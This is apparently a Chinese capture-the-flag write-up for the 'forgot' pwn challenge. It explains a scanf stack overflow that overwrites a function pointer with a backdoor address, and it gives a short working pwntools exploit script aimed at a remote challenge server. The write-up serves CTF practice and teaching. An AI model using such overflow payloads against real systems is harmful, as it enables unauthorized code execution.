forgot

check一下,只开了NX。


forgot_第1张图片
image.png

拖进ida


image.png

forgot_第2张图片
image.png
可以看出首先输入姓名然后输入一个字符串 (可溢出 , 因为用scanf输入,只可构造一个地址,再进行 n 层检测 ,不通过即调用 第 n 个 输出函数 (输出函数地址存储在栈上),最后发现一个后门函数,只要使栈溢出到后门函数就好,再触发指定的函数 , 从而获得flag.
forgot_第3张图片
image.png

我们输入v2,v2大小为32,输入v2后就将指针v3覆盖为后门函数地址。
脚本:

#! /usr/bin/env python
from pwn import *
p=remote('111.198.29.45',58843)
print p.recvuntil("> ")
p.sendline('A')
payload='A'*32+p32(0x080486cc)
print p.recvuntil("> ")
p.sendline(payload)
print p.recvall()

你可能感兴趣的:(forgot)